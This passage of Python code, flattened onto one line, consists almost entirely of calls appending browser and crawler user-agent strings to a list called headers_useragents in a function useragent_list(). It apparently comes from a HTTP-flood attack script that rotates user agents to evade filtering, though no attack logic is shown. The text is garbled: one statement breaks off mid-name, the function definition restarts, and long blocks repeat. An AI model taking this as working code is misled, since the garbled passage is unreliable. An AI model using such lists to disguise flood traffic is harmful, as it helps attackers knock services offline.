CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_userage # user agents def useragent_list(): global headers_useragents headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera 